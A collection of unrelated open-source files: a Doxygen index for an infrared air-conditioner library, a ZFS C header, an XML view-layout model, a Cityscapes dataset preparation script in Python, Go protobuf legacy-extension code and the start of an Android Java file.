: <a class="el" href="unionHaierProtocol.html#aeb39971e74e12fb0c7463006d6c644bd">HaierProtocol</a>
</li>
<li>compare()
: <a class="el" href="classIRrecv.html#ad7347c72b14d9f2f20f65bcf235ab3dc">IRrecv</a>
</li>
<li>convertFan()
: <a class="el" href="classIRAirwellAc.html#a44091f4d58b8078df1a93170cb9900d8">IRAirwellAc</a>
, <a class="el" href="classIRAmcorAc.html#ad0f8b7cdf5942c3680639d410f53d18c">IRAmcorAc</a>
, <a class="el" href="classIRArgoAC.html#acd147993fb998a0e7015173b9514d4a2">IRArgoAC</a>
, <a class="el" href="classIRCarrierAc64.html#a255e6679397434877f1c6c9ac70fff50">IRCarrierAc64</a>
, <a class="el" href="classIRCoolixAC.html#a7ffa1cfcf82bd905b0f607401200c895">IRCoolixAC</a>
, <a class="el" href="classIRCoronaAc.html#a6826036fcabbb45e7369f42912fae02f">IRCoronaAc</a>
, <a class="el" href="classIRDaikin128.html#a983c13bc608fbfa32d7ea2c36dc84116">IRDaikin128</a>
, <a class="el" href="classIRDaikin152.html#a5e2e79252602ca3493baf00cf3fe7787">IRDaikin152</a>
, <a class="el" href="classIRDaikin160.html#a32658c0f24d0b0c398d54ef648d717a9">IRDaikin160</a>
, <a class="el" href="classIRDaikin176.html#ae3dda9a55f851b5253d0677835a2c3dd">IRDaikin176</a>
, <a class="el" href="classIRDaikin216.html#a520cc65161290f15022b4108f7049a83">IRDaikin216</a>
, <a class="el" href="classIRDaikin2.html#ad147ea14695c9498bb091862e172dc81">IRDaikin2</a>
, <a class="el" href="classIRDaikin64.html#a109ff0c33b0a7dfd763683538915c811">IRDaikin64</a>
, <a class="el" href="classIRDaikinESP.html#ab58be19636d41d60b9c62d658ca18cae">IRDaikinESP</a>
, <a class="el" href="classIRDelonghiAc.html#aeff2970b20963ae59b99464ae683113f">IRDelonghiAc</a>
, <a class="el" href="classIRElectraAc.html#afcf3ef62d69e370cb88dd2036e5a1357">IRElectraAc</a>
, <a class="el" href="classIRFujitsuAC.html#a111060b7c93e77fdbd1dc96fc8a6c10f">IRFujitsuAC</a>
, <a class="el" href="classIRGoodweatherAc.html#abb443826453a65e87f6dedddf2dd74d5">IRGoodweatherAc</a>
, <a class="el" href="classIRGreeAC.html#a39aa0e4759330aef39382813d3aa96a4">IRGreeAC</a>
, <a class="el" href="classIRHaierAC.html#a58628dd19a7247fc5358c0dc8c30baba">IRHaierAC</a>
, <a class="el" href="classIRHaierACYRW02.html#a66e42d018f3d86b136624a347d333401">IRHaierACYRW02</a>
, <a class="el" href="classIRHitachiAc1.html#a96c22fddcd7dfcc5b8f205cc5c7efdef">IRHitachiAc1</a>
, <a class="el" href="classIRHitachiAc424.html#a4f502b779f9fe4aca3a2f649c4cfbda3">IRHitachiAc424</a>
, <a class="el" href="classIRHitachiAc.html#a5c632c9efc42d9378fdefe608c9bb771">IRHitachiAc</a>
, <a class="el" href="classIRLgAc.html#a71ce8d1be4222ecae26fcea3b71a1ba6">IRLgAc</a>
, <a class="el" href="classIRMideaAC.html#a08a8e49986ce808fd7edd8aee7399a64">IRMideaAC</a>
, <a class="el" href="classIRMitsubishi112.html#a4194e5b076687b79153bc8cd50c9bc86">IRMitsubishi112</a>
, <a class="el" href="classIRMitsubishi136.html#a81e691b386950859d1ad0a3c7faf7e49">IRMitsubishi136</a>
, <a class="el" href="classIRMitsubishiAC.html#a58ce95e1ae198a9855ee5e81335570cf">IRMitsubishiAC</a>
, <a class="el" href="classIRMitsubishiHeavy152Ac.html#ae11040290301b5fe66dfe79e8ea9512b">IRMitsubishiHeavy152Ac</a>
, <a class="el" href="classIRMitsubishiHeavy88Ac.html#acd69c45dbc3f5a150e17b82b5eae7b3f">IRMitsubishiHeavy88Ac</a>
, <a class="el" href="classIRNeoclimaAc.html#a8c3ac622428f118b28d53a3a82740993">IRNeoclimaAc</a>
, <a class="el" href="classIRPanasonicAc.html#aeada51b2d1ff51ff81dfc5c996b416df">IRPanasonicAc</a>
, <a class="el" href="classIRSamsungAc.html#a6be52cc6980ad0bf80261c2a48eb3c87">IRSamsungAc</a>
, <a class="el" href="classIRSanyoAc.html#ab8bc1d3df116aa4a4b86c9faea2b4f40">IRSanyoAc</a>
, <a class="el" href="classIRSharpAc.html#a9b58f12bc44639694a8422a2b9b78a88">IRSharpAc</a>
, <a class="el" href="classIRTcl112Ac.html#a3f8178f8f646ed9892eefa40bbff4fb1">IRTcl112Ac</a>
, <a class="el" href="classIRTecoAc.html#a262aead12607ff962dd97c73e6dea078">IRTecoAc</a>
, <a class="el" href="classIRToshibaAC.html#aeef5cfb840f3058629b486232b7efb22">IRToshibaAC</a>
, <a class="el" href="classIRTrotecESP.html#a905d4d5bd298db8c2e1a9b004fd541e8">IRTrotecESP</a>
, <a class="el" href="classIRVestelAc.html#aa7702b0e50b6c8073cd7740a630b19dd">IRVestelAc</a>
, <a class="el" href="classIRVoltas.html#a83022d8acc690f1a9672566ae4845e9e">IRVoltas</a>
, <a class="el" href="classIRWhirlpoolAc.html#a3004feef0ec5fe327d6a43d68d029377">IRWhirlpoolAc</a>
</li>
<li>convertMode()
: <a class="el" href="classIRAirwellAc.html#a20f9a804b2f8774165befc43d434ad84">IRAirwellAc</a>
, <a class="el" href="classIRAmcorAc.html#ab57117e1072b5265ac9ab5be6d58bccc">IRAmcorAc</a>
, <a class="el" href="classIRArgoAC.html#ad242e7b18dea9768b9fad6b1e0e12f65">IRArgoAC</a>
, <a class="el" href="classIRCarrierAc64.html#a8e94b1526b26cec55f1e700c86aaf74e">IRCarrierAc64</a>
, <a class="el" href="classIRCoolixAC.html#acfb0d2c20322cb4d3cd681a3a54b30fe">IRCoolixAC</a>
, <a class="el" href="classIRCoronaAc.html#a9f9cf8e38285cb2f3caf79e14516bda1">IRCoronaAc</a>
, <a class="el" href="classIRDaikin128.html#a0bad4830267887299b2773075a16b283">IRDaikin128</a>
, <a class="el" href="classIRDaikin152.html#a25592419c95c0271d8a0c4203a2919c3">IRDaikin152</a>
, <a class="el" href="classIRDaikin160.html#ac69861fdbde341fc75d90a5e4918aa56">IRDaikin160</a>
, <a class="el" href="classIRDaikin176.html#ab07fd6eab0ac6132625a291dae8cfc78">IRDaikin176</a>
, <a class="el" href="classIRDaikin216.html#a4fa9eca71ee6ad66b3fffd8b779f5fb0">IRDaikin216</a>
, <a class="el" href="classIRDaikin2.html#a10aae6ec9783eac9d89ff98b947767dd">IRDaikin2</a>
, <a class="el" href="classIRDaikin64.html#a595d91c0294c9482aa453f077eebf882">IRDaikin64</a>
, <a class="el" href="classIRDaikinESP.html#aa96f52596148cab1f806faf190a0aa0a">IRDaikinESP</a>
, <a class="el" href="classIRDelonghiAc.html#a51a6eab431f81fa448a48c0ec071e706">IRDelonghiAc</a>
, <a class="el" href="classIRElectraAc.html#a0026a1981e713ce1f6916203717e0a00">IRElectraAc</a>
, <a class="el" href="classIRFujitsuAC.html#a242504a5b97c19ff7e369efcadd3916e">IRFujitsuAC</a>
, <a class="el" href="classIRGoodweatherAc.html#aef14e2b6c220e556300d286922da1f54">IRGoodweatherAc</a>
, <a class="el" href="classIRGreeAC.html#a609e87ad4926f150b44426caf79fd38e">IRGreeAC</a>
, <a class="el" href="classIRHaierAC.html#af6188dbed5cae022b4fd1eef358f594c">IRHaierAC</a>
, <a class="el" href="classIRHaierACYRW02.html#a9a51f3d4b4c60ed7d99f9836a57bb3e5">IRHaierACYRW02</a>
, <a class="el" href="classIRHitachiAc1.html#a6211c96f463353791e5d922d9939f23c">IRHitachiAc1</a>
, <a class="el" href="classIRHitachiAc424.html#a974bf3ada7117e463b8c23e2158902be">IRHitachiAc424</a>
, <a class="el" href="classIRHitachiAc.html#af1bdc5e22e5e24218421bd3bbb436301">IRHitachiAc</a>
, <a class="el" href="classIRKelvinatorAC.html#acc9d70a94dd3813005ca0381b80a35e4">IRKelvinatorAC</a>
, <a class="el" href="classIRLgAc.html#a114eca216b7c9c7be33d4527f848311e">IRLgAc</a>
, <a class="el" href="classIRMideaAC.html#a0ca16c8bc2232be467baba8ea69b40d4">IRMideaAC</a>
, <a class="el" href="classIRMitsubishi112.html#aa41d6ec8bc6dc91891aaddbd996f6040">IRMitsubishi112</a>
, <a class="el" href="classIRMitsubishi136.html#a43b8ff1083d09563a5d3a25b24e480ea">IRMitsubishi136</a>
, <a class="el" href="classIRMitsubishiAC.html#a86d069e406d247bafbefbdd09b22894f">IRMitsubishiAC</a>
, <a class="el" href="classIRMitsubishiHeavy152Ac.html#a067ca776edc19a577e8bcda5013e1d0f">IRMitsubishiHeavy152Ac</a>
, <a class="el" href="classIRMitsubishiHeavy88Ac.html#ad0419d176d70935fc535cdcc47ffba02">IRMitsubishiHeavy88Ac</a>
, <a class="el" href="classIRNeoclimaAc.html#a61335773816ecbbeb949e5da78d07e50">IRNeoclimaAc</a>
, <a class="el" href="classIRPanasonicAc.html#a3f3bc3e4b73338351f33f26c635075bb">IRPanasonicAc</a>
, <a class="el" href="classIRSamsungAc.html#a76f7fed436bdfcd9c9a9da8dd99cb9f7">IRSamsungAc</a>
, <a class="el" href="classIRSanyoAc.html#a12a355a527ba5d572448d420e1cad9a7">IRSanyoAc</a>
, <a class="el" href="classIRSharpAc.html#a340d60b4b24c10479b3fed4409e0834b">IRSharpAc</a>
, <a class="el" href="classIRTcl112Ac.html#ac063653636319a9451590b08abbfecdc">IRTcl112Ac</a>
, <a class="el" href="classIRTecoAc.html#a5f95c5aacd8fc312acd0f36fd9dc33f2">IRTecoAc</a>
, <a class="el" href="classIRToshibaAC.html#a1cdcb695e128d57c721623cfdc9a8e8d">IRToshibaAC</a>
, <a class="el" href="classIRTrotecESP.html#a114a7022f0382275a55a2775d3d8e894">IRTrotecESP</a>
, <a class="el" href="classIRVestelAc.html#a5bb967d4972374254dad2c0a6fac7ed2">IRVestelAc</a>
, <a class="el" href="classIRVoltas.html#a3086d4e457769916808b3aef151c9b6b">IRVoltas</a>
, <a class="el" href="classIRWhirlpoolAc.html#afbf2f473c98f480d68c8bb28e1202d56">IRWhirlpoolAc</a>
</li>
<li>convertSwingH()
: <a class="el" href="classIRDaikin176.html#a2387b8dff2a9c9cd164034977b03f192">IRDaikin176</a>
, <a class="el" href="classIRDaikin2.html#a79a989ad0221157c4dd8d992cc2863dc">IRDaikin2</a>
, <a class="el" href="classIRHitachiAc344.html#a34d0fa5b522b51dac46f33cbb0a0a389">IRHitachiAc344</a>
, <a class="el" href="classIRMitsubishi112.html#ab17598ce693475ef167525b8408e2da4">IRMitsubishi112</a>
, <a class="el" href="classIRMitsubishiAC.html#a8235a527a178486bb58ce62749aaf2fb">IRMitsubishiAC</a>
, <a class="el" href="classIRMitsubishiHeavy152Ac.html#a0183cf4fcefb60ac61060dde698efbd1">IRMitsubishiHeavy152Ac</a>
, <a class="el" href="classIRMitsubishiHeavy88Ac.html#a8b995256a6651822731da7a912c01f19">IRMitsubishiHeavy88Ac</a>
, <a class="el" href="classIRPanasonicAc.html#abb17db3452ae347101dc6eaa8e84433b">IRPanasonicAc</a>
</li>
<li>convertSwingV()
: <a class="el" href="classIRArgoAC.html#ac23ff32b45c3fc5402e7e303ad9b5d54">IRArgoAC</a>
, <a class="el" href="classIRDaikin160.html#a615f599f3bc3e8dec5e5ef92512a2301">IRDaikin160</a>
, <a class="el" href="classIRDaikin2.html#aa3de8468b869989ec52a5f9f57ff4a77">IRDaikin2</a>
, <a class="el" href="classIRGoodweatherAc.html#a3b37c04fd9b60b63052d93374fc15d4f">IRGoodweatherAc</a>
, <a class="el" href="classIRGreeAC.html#ae3717400d1dc0336bcc5fa17c1397a9b">IRGreeAC</a>
, <a class="el" href="classIRHaierAC.html#a34053c32ba50ff3b81b208d068efe2a4">IRHaierAC</a>
, <a class="el" href="classIRHaierACYRW02.html#a1f7dffe29fbe67989b2f425d629850db">IRHaierACYRW02</a>
, <a class="el" href="classIRMitsubishi112.html#a95c545497e0acc6f78ec229a2ada9de0">IRMitsubishi112</a>
, <a class="el" href="classIRMitsubishi136.html#a59dee0c57d3ca2bdf4c7839142d23059">IRMitsubishi136</a>
, <a class="el" href="classIRMitsubishiAC.html#ab561f6421b2f3e0d92d9fab685da639a">IRMitsubishiAC</a>
, <a class="el" href="classIRMitsubishiHeavy152Ac.html#a93f2678fce3b35cfe3e31221d3355291">IRMitsubishiHeavy152Ac</a>
, <a class="el" href="classIRMitsubishiHeavy88Ac.html#abeba5346e1fc2223838fbc5d3ed03f23">IRMitsubishiHeavy88Ac</a>
, <a class="el" href="classIRPanasonicAc.html#a024e64fe32848e9b0b72e9c04db0fd98">IRPanasonicAc</a>
, <a class="el" href="classIRSanyoAc.html#a944cd3b85d0510b5a0b0fa45604e5977">IRSanyoAc</a>
</li>
<li>cool_mode
: <a class="el" href="classIRArgoAC.html#a74e7e489d743f213664d9259f1e7a431">IRArgoAC</a>
</li>
<li>coolix()
: <a class="el" href="classIRac.html#a4750db3b06db51f5a23c22538c41b7b3">IRac</a>
</li>
<li>copyIrParams()
: <a class="el" href="classIRrecv.html#ab017a0f9256954bb7d943e3c6b7e31bf">IRrecv</a>
</li>
<li>corona()
: <a class="el" href="classIRac.html#adcf2bdb1ef6dc057532ae7d188557dac">IRac</a>
</li>
<li>crudeNoiseFilter()
: <a class="el" href="classIRrecv.html#ae833bdb8fccc676043fc4ccae432fab1">IRrecv</a>
</li>
<li>CurrHours
: <a class="el" href="unionHaierProtocol.html#a093d2441856e448462551ac7bc1b8d9b">HaierProtocol</a>
</li>
<li>CurrMins
: <a class="el" href="unionHaierProtocol.html#a70abde8bccafd39cf1a1506f63481893">HaierProtocol</a>
</li>
</ul>
</div><!-- contents -->
<!-- start footer part -->
<hr class="footer"/><address class="footer"><small>
Generated by  <a href="http://www.doxygen.org/index.html">
<img class="footer" src="doxygen.png" alt="doxygen"/>
</a> 1.8.17
</small></address>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
/*
* GRUB -- GRand Unified Bootloader
* Copyright (C) 1999,2000,2001,2002,2003,2004 Free Software Foundation, Inc.
*
* SPDX-License-Identifier: GPL-2.0+
*/
/*
* Copyright 2007 Sun Microsystems, Inc. All rights reserved.
* Use is subject to license terms.
*/
#ifndef _SYS_DSL_DIR_H
#define _SYS_DSL_DIR_H
typedef struct dsl_dir_phys {
uint64_t dd_creation_time; /* not actually used */
uint64_t dd_head_dataset_obj;
uint64_t dd_parent_obj;
uint64_t dd_clone_parent_obj;
uint64_t dd_child_dir_zapobj;
/*
* how much space our children are accounting for; for leaf
* datasets, == physical space used by fs + snaps
*/
uint64_t dd_used_bytes;
uint64_t dd_compressed_bytes;
uint64_t dd_uncompressed_bytes;
/* Administrative quota setting */
uint64_t dd_quota;
/* Administrative reservation setting */
uint64_t dd_reserved;
uint64_t dd_props_zapobj;
uint64_t dd_deleg_zapobj; /* dataset permissions */
uint64_t dd_pad[20]; /* pad out to 256 bytes for good measure */
} dsl_dir_phys_t;
#endif /* _SYS_DSL_DIR_H */
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="utf-8"?>
<Application>
<SchemaModules>
<SchemaModule Name="LogicModule" Version="13.1.6.2" IsNewNode="True" />
<SchemaModule Name="SystemModule" Version="13.1.6.0" IsNewNode="True" />
</SchemaModules>
<Views>
<DetailView Id="LogicRuleOperationPermissionData_DetailView">
<Layout>
<LayoutGroup Id="Main" RelativeSize="100">
<LayoutGroup Id="SimpleEditors" RelativeSize="8" Direction="Horizontal">
<LayoutGroup Id="LogicRuleOperationPermissionData_col1" ShowCaption="False" Index="0" RelativeSize="48" IsNewNode="True">
<LayoutItem Id="ObjectTypeData" ViewItem="ObjectTypeData" SizeConstraintsType="Default" Index="0" RelativeSize="51" IsNewNode="True" />
<LayoutItem Id="Index" ViewItem="Index" SizeConstraintsType="Default" Index="1" RelativeSize="48" IsNewNode="True" />
</LayoutGroup>
<LayoutGroup Id="LogicRuleOperationPermissionData_col2" ShowCaption="False" Index="1" RelativeSize="51" IsNewNode="True">
<LayoutItem Id="ID" ViewItem="ID" SizeConstraintsType="Default" Index="0" RelativeSize="51" IsNewNode="True" />
<LayoutItem Id="Description" ViewItem="Description" SizeConstraintsType="Default" Index="1" RelativeSize="48" IsNewNode="True" />
</LayoutGroup>
<LayoutGroup Id="LogicRuleOperationPermissionData" RelativeSize="100" Removed="True">
<LayoutGroup Id="LogicRuleOperationPermissionData_col1" RelativeSize="47">
<LayoutItem Id="ObjectTypeData" SizeConstraintsType="Default" Index="0" RelativeSize="50" />
<LayoutItem Id="Index" SizeConstraintsType="Default" Index="1" RelativeSize="50" />
<LayoutItem Id="ViewEditMode" SizeConstraintsType="Default" RelativeSize="14" Index="4" Removed="True" />
<LayoutItem Id="ID" SizeConstraintsType="Default" RelativeSize="36" Removed="True" />
<LayoutItem Id="Nesting" SizeConstraintsType="Default" RelativeSize="13" Removed="True" />
<LayoutItem Id="View" SizeConstraintsType="Default" RelativeSize="13" Removed="True" />
<LayoutItem Id="ViewType" SizeConstraintsType="Default" RelativeSize="13" Removed="True" />
</LayoutGroup>
<LayoutGroup Id="LogicRuleOperationPermissionData_col2" RelativeSize="48" Caption="LogicRuleOperationPermissionData_col2">
<LayoutItem Id="ID" ViewItem="ID" SizeConstraintsType="Default" Index="0" RelativeSize="50" IsNewNode="True" />
<LayoutItem Id="IsNew" SizeConstraintsType="Default" RelativeSize="36" Index="0" Removed="True" />
<LayoutItem Id="Description" ViewItem="Description" SizeConstraintsType="Default" Index="1" RelativeSize="50" IsNewNode="True" />
<LayoutItem Id="ExecutionContextGroup" SizeConstraintsType="Default" RelativeSize="15" Index="1" Removed="True" />
<LayoutItem Id="ViewContextGroup" SizeConstraintsType="Default" RelativeSize="15" Index="2" Removed="True" />
<LayoutItem Id="FrameTemplateContextGroup" SizeConstraintsType="Default" RelativeSize="15" Index="3" Removed="True" />
<LayoutItem Id="ActionExecutionContextGroup" SizeConstraintsType="Default" RelativeSize="15" Index="4" Removed="True" />
<LayoutItem Id="FrameTemplateContext" SizeConstraintsType="Default" RelativeSize="20" Removed="True" />
<LayoutItem Id="IsRootView" SizeConstraintsType="Default" RelativeSize="13" Removed="True" />
</LayoutGroup>
</LayoutGroup>
</LayoutGroup>
<LayoutGroup Id="SizeableEditors" RelativeSize="91">
<TabbedGroup Id="Item4" CaptionLocation="Top" Index="0" RelativeSize="100" IsNewNode="True">
<LayoutGroup Id="Item3" ShowCaption="True" Caption="Criteria" CaptionLocation="Top" Index="0" RelativeSize="100" IsNewNode="True">
<LayoutItem Id="IsNew" ViewItem="IsNew" SizeConstraintsType="Default" Index="0" RelativeSize="4" IsNewNode="True" />
<LayoutGroup Id="Autoc6021d85-caf0-413c-8ec9-2267ee0c4dc2" ShowCaption="False" Caption="Autoc6021d85-caf0-413c-8ec9-2267ee0c4dc2(13)" Direction="Horizontal" Index="1" RelativeSize="95" IsNewNode="True">
<LayoutItem Id="NormalCriteria" ViewItem="NormalCriteria" SizeConstraintsType="Default" Index="0" RelativeSize="48" CaptionLocation="Top" IsNewNode="True" />
<LayoutItem Id="EmptyCriteria" ViewItem="EmptyCriteria" SizeConstraintsType="Default" Index="1" RelativeSize="51" CaptionLocation="Top" IsNewNode="True" />
</LayoutGroup>
</LayoutGroup>
<LayoutGroup Id="Item5" ShowCaption="True" CaptionLocation="Top" Direction="Vertical" Index="1" RelativeSize="100" Caption="View" IsNewNode="True">
<LayoutItem Id="View" ViewItem="View" SizeConstraintsType="Default" Index="0" RelativeSize="4" IsNewNode="True" />
<LayoutItem Id="ViewType" ViewItem="ViewType" SizeConstraintsType="Default" Index="1" RelativeSize="3" IsNewNode="True" />
<LayoutGroup Id="Auto6acd6bd2-7c38-4d12-bd5f-8892b2de60d2" ShowCaption="False" Caption="Auto6acd6bd2-7c38-4d12-bd5f-8892b2de60d2(19)" Direction="Horizontal" Index="2" RelativeSize="5" IsNewNode="True">
<LayoutItem Id="Nesting" ViewItem="Nesting" SizeConstraintsType="Default" Index="0" RelativeSize="48" IsNewNode="True" />
<LayoutItem Id="IsRootView" ViewItem="IsRootView" SizeConstraintsType="Default" Index="1" RelativeSize="51" IsNewNode="True" />
</LayoutGroup>
<LayoutItem Id="ViewEditMode" ViewItem="ViewEditMode" SizeConstraintsType="Default" Index="3" RelativeSize="85" IsNewNode="True" />
</LayoutGroup>
<LayoutGroup Id="Item1" ShowCaption="True" CaptionLocation="Top" Direction="Vertical" Index="2" RelativeSize="100" Caption="Contexts" IsNewNode="True">
<LayoutItem Id="FrameTemplateContext" ViewItem="FrameTemplateContext" SizeConstraintsType="Default" Index="0" RelativeSize="4" IsNewNode="True" />
<LayoutItem Id="ExecutionContextGroup" ViewItem="ExecutionContextGroup" SizeConstraintsType="Default" Index="1" RelativeSize="3" IsNewNode="True" />
<LayoutItem Id="ViewContextGroup" ViewItem="ViewContextGroup" SizeConstraintsType="Default" Index="2" RelativeSize="3" IsNewNode="True" />
<LayoutItem Id="FrameTemplateContextGroup" ViewItem="FrameTemplateContextGroup" SizeConstraintsType="Default" Index="3" RelativeSize="3" IsNewNode="True" />
<LayoutItem Id="ActionExecutionContextGroup" ViewItem="ActionExecutionContextGroup" SizeConstraintsType="Default" Index="4" RelativeSize="83" IsNewNode="True" />
</LayoutGroup>
</TabbedGroup>
<LayoutItem Id="Description" SizeConstraintsType="Default" RelativeSize="83" Removed="True" />
<LayoutItem Id="EmptyCriteria" SizeConstraintsType="Default" RelativeSize="7" Removed="True" />
<LayoutItem Id="NormalCriteria" SizeConstraintsType="Default" RelativeSize="8" Removed="True" />
</LayoutGroup>
</LayoutGroup>
</Layout>
</DetailView>
</Views>
</Application>
|
{
"pile_set_name": "Github"
}
|
"""Prepare Cityscapes dataset"""
import os
import sys
import argparse
import zipfile
cur_path = os.path.abspath(os.path.dirname(__file__))
root_path = os.path.split(os.path.split(os.path.split(cur_path)[0])[0])[0]
sys.path.append(root_path)
from segmentron.utils import makedirs, check_sha1
_TARGET_DIR = os.path.expanduser('~/.torch/datasets/citys')
def parse_args():
parser = argparse.ArgumentParser(
description='Initialize ADE20K dataset.',
epilog='Example: python prepare_cityscapes.py',
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('--download-dir', default=None, help='dataset directory on disk')
args = parser.parse_args()
return args
def download_city(path, overwrite=False):
_CITY_DOWNLOAD_URLS = [
('gtFine_trainvaltest.zip', '99f532cb1af174f5fcc4c5bc8feea8c66246ddbc'),
('leftImg8bit_trainvaltest.zip', '2c0b77ce9933cc635adda307fbba5566f5d9d404')]
download_dir = os.path.join(path, 'downloads')
makedirs(download_dir)
for filename, checksum in _CITY_DOWNLOAD_URLS:
if not check_sha1(filename, checksum):
raise UserWarning('File {} is downloaded but the content hash does not match. ' \
'The repo may be outdated or download may be incomplete. ' \
'If the "repo_url" is overridden, consider switching to ' \
'the default repo.'.format(filename))
# extract
with zipfile.ZipFile(filename, "r") as zip_ref:
zip_ref.extractall(path=path)
print("Extracted", filename)
if __name__ == '__main__':
args = parse_args()
makedirs(os.path.expanduser('~/.torch/datasets'))
if args.download_dir is not None:
if os.path.isdir(_TARGET_DIR):
os.remove(_TARGET_DIR)
# make symlink
os.symlink(args.download_dir, _TARGET_DIR)
else:
download_city(_TARGET_DIR, overwrite=False)
|
{
"pile_set_name": "Github"
}
|
// Copyright 2018 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package impl
import (
"reflect"
"google.golang.org/protobuf/internal/descopts"
"google.golang.org/protobuf/internal/encoding/messageset"
ptag "google.golang.org/protobuf/internal/encoding/tag"
"google.golang.org/protobuf/internal/filedesc"
"google.golang.org/protobuf/internal/pragma"
pref "google.golang.org/protobuf/reflect/protoreflect"
preg "google.golang.org/protobuf/reflect/protoregistry"
piface "google.golang.org/protobuf/runtime/protoiface"
)
func (xi *ExtensionInfo) initToLegacy() {
xd := xi.desc
var parent piface.MessageV1
messageName := xd.ContainingMessage().FullName()
if mt, _ := preg.GlobalTypes.FindMessageByName(messageName); mt != nil {
// Create a new parent message and unwrap it if possible.
mv := mt.New().Interface()
t := reflect.TypeOf(mv)
if mv, ok := mv.(unwrapper); ok {
t = reflect.TypeOf(mv.protoUnwrap())
}
// Check whether the message implements the legacy v1 Message interface.
mz := reflect.Zero(t).Interface()
if mz, ok := mz.(piface.MessageV1); ok {
parent = mz
}
}
// Determine the v1 extension type, which is unfortunately not the same as
// the v2 ExtensionType.GoType.
extType := xi.goType
switch extType.Kind() {
case reflect.Bool, reflect.Int32, reflect.Int64, reflect.Uint32, reflect.Uint64, reflect.Float32, reflect.Float64, reflect.String:
extType = reflect.PtrTo(extType) // T -> *T for singular scalar fields
}
// Reconstruct the legacy enum full name.
var enumName string
if xd.Kind() == pref.EnumKind {
enumName = legacyEnumName(xd.Enum())
}
// Derive the proto file that the extension was declared within.
var filename string
if fd := xd.ParentFile(); fd != nil {
filename = fd.Path()
}
// For MessageSet extensions, the name used is the parent message.
name := xd.FullName()
if messageset.IsMessageSetExtension(xd) {
name = name.Parent()
}
xi.ExtendedType = parent
xi.ExtensionType = reflect.Zero(extType).Interface()
xi.Field = int32(xd.Number())
xi.Name = string(name)
xi.Tag = ptag.Marshal(xd, enumName)
xi.Filename = filename
}
// initFromLegacy initializes an ExtensionInfo from
// the contents of the deprecated exported fields of the type.
func (xi *ExtensionInfo) initFromLegacy() {
// The v1 API returns "type incomplete" descriptors where only the
// field number is specified. In such a case, use a placeholder.
if xi.ExtendedType == nil || xi.ExtensionType == nil {
xd := placeholderExtension{
name: pref.FullName(xi.Name),
number: pref.FieldNumber(xi.Field),
}
xi.desc = extensionTypeDescriptor{xd, xi}
return
}
// Resolve enum or message dependencies.
var ed pref.EnumDescriptor
var md pref.MessageDescriptor
t := reflect.TypeOf(xi.ExtensionType)
isOptional := t.Kind() == reflect.Ptr && t.Elem().Kind() != reflect.Struct
isRepeated := t.Kind() == reflect.Slice && t.Elem().Kind() != reflect.Uint8
if isOptional || isRepeated {
t = t.Elem()
}
switch v := reflect.Zero(t).Interface().(type) {
case pref.Enum:
ed = v.Descriptor()
case enumV1:
ed = LegacyLoadEnumDesc(t)
case pref.ProtoMessage:
md = v.ProtoReflect().Descriptor()
case messageV1:
md = LegacyLoadMessageDesc(t)
}
// Derive basic field information from the struct tag.
var evs pref.EnumValueDescriptors
if ed != nil {
evs = ed.Values()
}
fd := ptag.Unmarshal(xi.Tag, t, evs).(*filedesc.Field)
// Construct a v2 ExtensionType.
xd := &filedesc.Extension{L2: new(filedesc.ExtensionL2)}
xd.L0.ParentFile = filedesc.SurrogateProto2
xd.L0.FullName = pref.FullName(xi.Name)
xd.L1.Number = pref.FieldNumber(xi.Field)
xd.L1.Cardinality = fd.L1.Cardinality
xd.L1.Kind = fd.L1.Kind
xd.L2.IsPacked = fd.L1.IsPacked
xd.L2.Default = fd.L1.Default
xd.L1.Extendee = Export{}.MessageDescriptorOf(xi.ExtendedType)
xd.L2.Enum = ed
xd.L2.Message = md
// Derive real extension field name for MessageSets.
if messageset.IsMessageSet(xd.L1.Extendee) && md.FullName() == xd.L0.FullName {
xd.L0.FullName = xd.L0.FullName.Append(messageset.ExtensionName)
}
tt := reflect.TypeOf(xi.ExtensionType)
if isOptional {
tt = tt.Elem()
}
xi.goType = tt
xi.desc = extensionTypeDescriptor{xd, xi}
}
type placeholderExtension struct {
name pref.FullName
number pref.FieldNumber
}
func (x placeholderExtension) ParentFile() pref.FileDescriptor { return nil }
func (x placeholderExtension) Parent() pref.Descriptor { return nil }
func (x placeholderExtension) Index() int { return 0 }
func (x placeholderExtension) Syntax() pref.Syntax { return 0 }
func (x placeholderExtension) Name() pref.Name { return x.name.Name() }
func (x placeholderExtension) FullName() pref.FullName { return x.name }
func (x placeholderExtension) IsPlaceholder() bool { return true }
func (x placeholderExtension) Options() pref.ProtoMessage { return descopts.Field }
func (x placeholderExtension) Number() pref.FieldNumber { return x.number }
func (x placeholderExtension) Cardinality() pref.Cardinality { return 0 }
func (x placeholderExtension) Kind() pref.Kind { return 0 }
func (x placeholderExtension) HasJSONName() bool { return false }
func (x placeholderExtension) JSONName() string { return "[" + string(x.name) + "]" }
func (x placeholderExtension) TextName() string { return "[" + string(x.name) + "]" }
func (x placeholderExtension) HasPresence() bool { return false }
func (x placeholderExtension) HasOptionalKeyword() bool { return false }
func (x placeholderExtension) IsExtension() bool { return true }
func (x placeholderExtension) IsWeak() bool { return false }
func (x placeholderExtension) IsPacked() bool { return false }
func (x placeholderExtension) IsList() bool { return false }
func (x placeholderExtension) IsMap() bool { return false }
func (x placeholderExtension) MapKey() pref.FieldDescriptor { return nil }
func (x placeholderExtension) MapValue() pref.FieldDescriptor { return nil }
func (x placeholderExtension) HasDefault() bool { return false }
func (x placeholderExtension) Default() pref.Value { return pref.Value{} }
func (x placeholderExtension) DefaultEnumValue() pref.EnumValueDescriptor { return nil }
func (x placeholderExtension) ContainingOneof() pref.OneofDescriptor { return nil }
func (x placeholderExtension) ContainingMessage() pref.MessageDescriptor { return nil }
func (x placeholderExtension) Enum() pref.EnumDescriptor { return nil }
func (x placeholderExtension) Message() pref.MessageDescriptor { return nil }
func (x placeholderExtension) ProtoType(pref.FieldDescriptor) { return }
func (x placeholderExtension) ProtoInternal(pragma.DoNotImplement) { return }
|
{
"pile_set_name": "Github"
}
|
{"version":3,"file":"AsyncSubject.js","sources":["src/AsyncSubject.ts"],"names":[],"mappings":";;;;;AAAA,8CAAyC"}
|
{
"pile_set_name": "Github"
}
|
package com.o3dr.services.android.lib.util.googleApi;
import android.content.Context;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
import android.util.Log;
import com.google.android.gms.common.ConnectionResult;
